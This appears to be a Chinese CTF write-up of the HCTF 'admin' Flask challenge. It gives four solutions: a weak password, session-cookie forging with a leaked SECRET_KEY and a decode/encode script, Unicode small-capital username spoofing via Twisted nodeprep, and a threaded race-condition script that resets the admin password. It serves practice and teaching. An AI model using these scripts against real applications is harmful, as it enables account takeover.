这道题涉及知识面很多,解题姿势多,故单独拿来写一篇文章。
文章目录
姿势一:弱口令登录
有login页面,直接admin
、123
得到flag
姿势二:flask的session伪造
- SECRET_KEY
- session加解密脚本
注册以后可以在change password页面的源码中发现一些线索
<!-- https://github.com/woadsl1234/hctf_flask/ -->
下载以后是flask
的文件
思路是这样来的:
index.html
中内容如下
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
看到如果满足session['name'] == 'admin'
,那么就能得到flag
所以考虑伪造session
那么如何伪造session
呢?
知识点:
flask中session存储在客户端的cookie当中(本地)。而flask只对数据进行了签名(防止篡改)但没有防止读取,session的全部内容都可以被读取。
那么这个session是怎么生成的?应该如何被伪造?移步P神文章:https://www.leavesongs.com/PENETRATION/client-session-security.html
拜读以后知道,想要伪造session
的话,我们需要SECRET_KEY
,很幸运的是,在下载的源码里是保留了SECRET_KEY
的
config.py
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
来看一下现在的session
是什么
利用搜到的解密脚本:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
python decode.py [session内容]
把解密出来的东西修改一下,name
的内容改成admin
,然后利用加密脚本和SECRET_KEY
来伪造新的session
加密脚本地址:https://github.com/noraj/flask-session-cookie-manager
python flask_session_cookie_manager3.py encode -s [SECRECT_KEY] -t [加密内容]
将浏览器中的session
修改成我们伪造的,得到flag
姿势三:Unicode欺骗
- nodeprep.prepare()
思路来自这里:strlower()
这些地方都调用了strlower()
注册:
登录:
修改密码:
strlower
是什么玩意?看这里:
这个nodeprep.prepare()
我没搜到,其他大佬是这样说的:
这里用的
nodeprep.prepare
函数,而nodeprep
是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0
,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞。关于Unicode问题可以参考一下:https://panda1g1.github.io/2018/11/15/HCTF%20admin/(现在好像404了额
关于具体编码可查 https://unicode-table.com/en/search/?q=small+capital
,当然你也可以复制过后用站长工具转换成Unicode编码。原文链接:https://blog.csdn.net/weixin_44677409/article/details/100733581
简单说来就是:nodeprep.prepare
这个函数会把大写转换为小写,而且也会对unicode字符
进行转换
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
def strlower(username):
username = nodeprep.prepare(username)
return username
user = u'\u1d2c\u1d30\u1d39\u1d35\u1d3A'
print(user)
print(strlower(user))
print(strlower(strlower(user)))
输出:(注意版本)
ᴬᴰᴹᴵᴺ
ADMIN
admin
解题逻辑就有了:注册—>登录—>修改密码—>利用admin账户登录
。注册和登录两次调用strlower()
使name变成admin
,此时修改密码
实际修改的就是admin
的密码,然后就可以利用admin
账户登录
姿势四:条件竞争
不清楚条件竞争的朋友先看博客:https://cloud.tencent.com/developer/article/1516412
总结说来具有以下条件的情况可能就会存在条件竞争漏洞:
- 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
- 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
- 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。
这道题这里就符合条件竞争漏洞:代码中的登录
和修改密码
都是直接使用session['name']
,这导致不同用户之间可能会共享同一个session['name']
。
- 注册一个用户
test
,作为进程1
不断重复进行登录
和修改密码
。然后admin
作为进程2
不断重复进行注销
和登录
。 - 有可能当
进程1
进行到修改密码
操作时,进程2
恰好注销
且要进行登录
,此时进程1
改密码需要一个session['name']
,而进程2
刚好将session['name']
赋值为admin
,此时进程1
把进程2
的session['name']
调用来修改密码,即修改了admin的密码。
所以其实最终目的和姿势三一样:修改admin
的密码,使用admin
登录
脚本如下:(转载)
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)
def logout(s):
return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)
def func1(s):
login(s, 'test', 'test')
change(s, 'test')
def func2(s):
logout(s)
res = login(s, 'admin', 'test')
if 'flag' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
参考链接:
https://blog.csdn.net/qq_39153421/article/details/116742488
小白白@
https://cloud.tencent.com/developer/article/1516412